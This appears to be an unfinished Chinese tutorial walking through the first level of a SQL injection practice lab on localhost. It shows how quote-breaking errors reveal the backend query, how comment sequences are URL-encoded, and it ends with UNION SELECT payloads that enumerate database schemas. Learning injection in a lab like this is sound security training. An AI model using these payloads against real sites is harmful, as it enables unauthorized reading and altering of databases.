打開主頁進入第一關(guān) :
提示傳入id這個參數(shù)
發(fā)現(xiàn)這個頁面會根據(jù)傳入的ID查詢到對應(yīng)的用戶
這里我們可以通過查看數(shù)據(jù)庫進行驗證 :
這樣就可以推斷出PHP執(zhí)行的SQL語句的功能就是從數(shù)據(jù)庫中查詢出id為我們傳入的id的那個用戶 , 并且把得到的數(shù)據(jù)中的用戶名和密碼顯示出來
我們猜測SQL語句可能是這樣 :
SELECT username,password FROM `users` WHERE id = $_GET['id'];
但是我們猜測的這個SQL語句并不一定正確
因為SQL語句在執(zhí)行的時候 , 對語法有一定的要求 , 但是并不是特別嚴格 , 例如 :
SELECT username,password FROM `users` WHERE id = '$_GET['id']';
SELECT username,password FROM `users` WHERE id = "$_GET['id']";
這兩種都是可以查詢到數(shù)據(jù)的
因此我們?nèi)绻暨@個網(wǎng)站的話 , 就要想辦法猜測出這個頁面的SQL語句是怎么寫的
要猜測屬于上面的哪一種情況 , 這樣我們才可以將我們自己精心構(gòu)造的SQL語句注入到正常的參數(shù)里面
讓我們的SQL語句的到執(zhí)行 , 達到我們的目的(讀出本來我們不能讀取的內(nèi)容 , 或者對數(shù)據(jù)庫進行增/刪/改/查的操作 , 或者利用數(shù)據(jù)庫軟件讀取或者寫入服務(wù)器上的文件 ... )
我們可以先在本地的MySQL中對SQL語句進行測試 :
SELECT username,password FROM `users` WHERE id = 1;
那么如果當我們輸入的參數(shù)id并不是按照程序員想的是一個整數(shù)呢 ?
如果我們輸入一個字母/一個符號會怎么樣 ?
這個時候 , 當我們輸入的參數(shù)是 1'
發(fā)現(xiàn)這個頁面報錯了 , 報錯的內(nèi)容是 :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
根據(jù)這個報錯 , 我們可以看到它顯示出來了一部分SQL語句 :
'1'' LIMIT 0,1
而這其中的1’
就是我們剛才輸入的參數(shù)
那么我們就可以繼續(xù)對剛才的猜測進行完善
可以看到我們輸入的參數(shù)1'
是被兩個單引號包裹起來的
而且在后面還對查詢的結(jié)果集進行了切片 , 這樣查詢的結(jié)果就只有一條
SELECT username,password FROM `users` WHERE id = '$_GET['id']' LIMIT 0,1;
那么剛才我們將畸形的參數(shù)傳入以后 , 拼接得到的SQL語句就應(yīng)該是 :
SELECT username,password FROM `users` WHERE id = '1'' LIMIT 0,1;
我們放到MySQL里面執(zhí)行一下
發(fā)現(xiàn)當我們輸入的單引號不匹配的時候 , MySQL的客戶端會一直等待用戶閉合這個單引號
但是當使用PHP去操作MySQL的時候 , 因為用戶是通過PHP對數(shù)據(jù)庫進行操作 , 所以不可能像我們剛才那樣存在一個交互的界面 , 因此就這個單引號就不可能被閉合 , 因此這個時候就會報錯 , 也就是剛才我們得到的這個錯誤
這個時候 , 如果我們繼續(xù)修改一下查詢的id這個參數(shù)
這里可以嘗試使用MySQL定義的注釋關(guān)鍵字
--
/**/
需要說明一下 , 第一個是兩個-
連接符后面緊跟著一個空格
前兩個注釋符是單行注釋 , 第三個是多行注釋
如果我們在id這個參數(shù)后面添加了注釋的時候 :
SQL語句變成這樣 :
SELECT username,password FROM `users` WHERE id = '1'-- ' LIMIT 0,1;
SELECT username,password FROM `users` WHERE id = '1'#' LIMIT 0,1;
都是可以正常得到查詢的結(jié)果
說明后面的SQL語句已經(jīng)被我們注釋掉了
這樣的話 , 如果我們剛才猜測的后臺的SQL語句是正確的
如果我們傳遞參數(shù)為 :
http://127.0.0.1/Less-1/?id=1%27--+
http://127.0.0.1/Less-1/?id=1%27%23
注意這里我們沒有使用到原本的字符'
和#
而是將它們URL編碼以后再進行參數(shù)的傳遞 , 這里是因為服務(wù)器再接收到參數(shù)以后會對參數(shù)進行一次URL解碼
這樣的話解碼之后剛好就可以拼湊成正常的SQL語句
還有一個需要注意的地方就是 :
- 為什么是
--+
而不是--
這里字符
-
和字符+
在URL中都是有固定的含義的 , 比如說+
就在URL編碼中就代表空格 , 而URL編碼中-
不用編碼
- 為什么
--+
沒有被URL編碼
由于這里我們是用
+
代替了, 因此不需要進行編碼 , 我們也可以不用
+
而使用空格的URL編碼 , 那么編碼得到的URL就應(yīng)該是 :
http://127.0.0.1/Less-1/?id=1%27--%20
-
#
又為什么必須得編碼 , 不編碼可以嗎 ?
不可以 , 因為
#
在URL中是有固定的含義的 , 表示頁面中的錨點 , 如果不進行編碼瀏覽器就會將其當成頁面的錨點 , 而這里我們是需要將其作為數(shù)據(jù)傳輸給服務(wù)器的 , 因此需要進行URL編碼
- 為什么不用多行注釋來注釋后面的SQL語句
因為多行注釋的格式是 :
/*注釋內(nèi)容*/
在注釋內(nèi)容的前后都需要有標記
而這里我們只能控制SQL語句的一個位置 , 也就是輸入id的地方
所以這樣我們并不能構(gòu)成一個正確的多行注釋 , 因此不可以 , 大家也可以自己嘗試一下 , 會直接報錯(語法錯誤)
好了 , 現(xiàn)在我們嘗試訪問一下 :
http://127.0.0.1/Less-1/?id=1%27--+
http://127.0.0.1/Less-1/?id=1%27--%20
http://127.0.0.1/Less-1/?id=1%27%23
就可以正常查詢出數(shù)據(jù) , 而且是所有匹配的數(shù)據(jù)(因為注釋掉了LIMIT 0,1
)
到這里 , 我們就可以肯定這個網(wǎng)站的這個PHP文件的id這個參數(shù) , 是存在注入點的
接下來 , 我們就要利用這個注入點將其數(shù)據(jù)庫中的數(shù)據(jù)一步一步查詢出來
編輯中...
http://127.0.0.1/Less-1/?id=0%27union%20select%201,2,3--+
http://127.0.0.1/Less-1/?id=0%27union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+